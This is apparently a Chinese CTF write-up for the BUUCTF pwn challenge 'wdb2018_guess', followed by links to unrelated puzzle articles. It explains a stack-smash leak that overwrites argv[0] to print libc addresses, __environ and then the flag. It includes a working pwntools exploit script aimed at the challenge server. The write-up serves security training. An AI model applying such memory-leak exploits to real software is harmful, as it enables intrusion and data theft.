BUUCYF之“wdb2018_guess”

2024-03-05 01:59
文章标签 guess wdb2018 buucyf

本文主要是介绍BUUCYF之“wdb2018_guess”,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

简单分析题目:
开了栈不可执行NX保护还有canary,分析程序:将flag读入buff里头,这里主要是解决如何把flag从buff读出来。我们使用stack smash法子。细节不再赘述。

说下利用方法:

  1. 将main函数的argv[0]参数覆盖为(存储我们想要其打印的字符串的)地址,当触发stack canary时,相应机制会和printf 的%s格式化字符串一样的规则打印对应字符串。所以我们想将其覆盖为buff的地址
  2. main函数的第三个参数,环境变量envp[]也存在栈上,同时在gdb里头可以打印其地址,所以这里只需要gdb在gets函数,strcmp函数这两处执行时下断点分别看输入被存放的地址(这里可以从rdi查看),就可以计算偏移量,于是:
  3. 我们先利用第一次泄露的puts地址计算environ地址,进而计算偏移泄露buff内容

在这里插入图片描述

1是我们buff地址所在,我们分析程序汇编代码可以发现strcmp函数执行前将两个参数:buff,s2地址分别存入rdi,rsi中,如图即为其地址,2是最开始argv[0]地址,3是environ地址

WP:

from pwn import*
context.log_level='debug'
p=remote('node4.buuoj.cn',28503)
elf=ELF('./GUESS')
libc=ELF('./libc-2.23.so')put_got=elf.got['puts']
leak1='a'*0x128 + p64(put_got)p.sendlineafter("Please type your guessing flag",leak1)
p.recvuntil("stack smashing detected ***:")
addr_=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print(hex(addr_))
base=addr_-libc.sym['puts']
environ_=base+libc.sym['__environ']leak2='a'*0x128+p64(environ_)
p.sendlineafter("Please type your guessing flag",leak2)
p.recvuntil("stack smashing detected ***:")
envir=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
flag_=envir-0x168leak3='a'*0x128+p64(flag_)
p.sendlineafter("Please type your guessing flag",leak3)
p.interactive()

结,其余分析题目细节看其他师傅

另外还有个比较离谱的是这个地址偏移量的问题:我在ubuntu21上gdb调试时发现这个“s2和argv[0]的距离或者是buff和environ的距离”都相较于ubuntu16调试的结果要大0x40,,,,,,,离谱之~~~

这篇关于BUUCYF之“wdb2018_guess”的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/774972

相关文章

UVALive 4255 Guess

题意: 给你半个矩阵  如果(i,j)的位置是'-'  则说明sum[i...j]<0  如果是'+'  说明sum>0  如果是'0'  说明sum=0  给出一种满足这个矩阵的序列  序列元素绝对值在10以内 思路: 很容易想到的是将sum[i...j]转化为sum[j]-sum[i-1]  即用前缀和来表示  那么题中的矩阵就可以转化成前缀和之间的大小比较  也就是说  我们可以通过

UVA11995I Can Guess the Data Structure!(stack + queue + priority_queue)

题目:UVA11995I Can Guess the Data Structure!(stack + queue + priority_queue) 题目大意:给你两种指令,1代表让1后面的数字进入这个数据结构,2代表无差错的从数据结构中取出这个数字,问这个数据结构是stack还是queue还是priority_queue,还是不确定,还是以上均不可能。 解题思路:用STL中的这些

LeetCode-374. Guess Number Higher or Lower

问题:https://leetcode.com/problems/guess-number-higher-or-lower/?tab=Description We are playing the Guess Game. The game is as follows: I pick a number from 1 to n. You have to guess which number I pi

UVA - 11995 I Can Guess the Data Structure!

题意:求满足操作的数据结构 思路:模拟 #include <iostream>#include <cstdio>#include <cstring>#include <algorithm>#include <stack>#include <queue>using namespace std;int n,o,e,cs,s,q,pq;int main(){while (scanf("%

Codeforces Round #312 (Div. 2) D. Guess Your Way Out! II 贪心排序

D. Guess Your Way Out! II time limit per test2 seconds memory limit per test256 megabytes inputstandard input outputstandard output Amr bought a new video game “Guess Your Way Out! II”. The goal

Codeforces Round #287 (Div. 2) C. Guess Your Way Out! 数学

C. Guess Your Way Out! time limit per test1 second memory limit per test256 megabytes inputstandard input outputstandard output Amr bought a new video game “Guess Your Way Out!”. The goal of the

【leetcode73】经典算法-Guess Number Higher or Lower

题目描述: 从1~n中,随便的拿出一个数字,你来猜测。 提示 提供一个guess(int num)的api,针对猜测的数字,返回三个数值。0,-1,1 0;猜中返回num-1:比猜测的数值小1:比猜测的数值大 例如: n = 10, I pick 6. Return 6. 原文描述: We are playing the Guess Game. The game is as fo

checking build system type... configure: error: cannot guess build type; you must specify one

今天在用configure生成Makefile时,出现了如下错误: checking build system type... configure: error: cannot guess build type; you must specify one 我用的命令是./configure --host=arm-linux- --prefix=/txk/build/install 根

[CF_1282D]Guess the Root

Guess the Root 题解 拉格朗日板题 按理说只要n+1个点就可以表示出一个n阶的多项式,对于求法很容易想到高斯消元。 但高斯消元法太麻烦了,于是,我们便开始了拉格朗日插值法。因为它更方便。 拉格朗日插值法可以通过点值求出原式,即。 将所有的点带入后就成了一个关于的多项式,从到枚举即可。 源码 一个忘了在外面预处理inv的蒟蒻   #pragma GCC optimi

Guess The Number

首先判断一下无意义的情况: 1.最高位数字为零(n=1除外); 2.读入数字大于n; 3.前面已读入第i位且与当前读入数不相同; 以上情况直接输出-1 还需要判断一种情况,当最高位数字并未指定,则需将最高位赋值1 将所有位数字初始为0,这样便是满足条件的最小数 接下来便是将其依次输出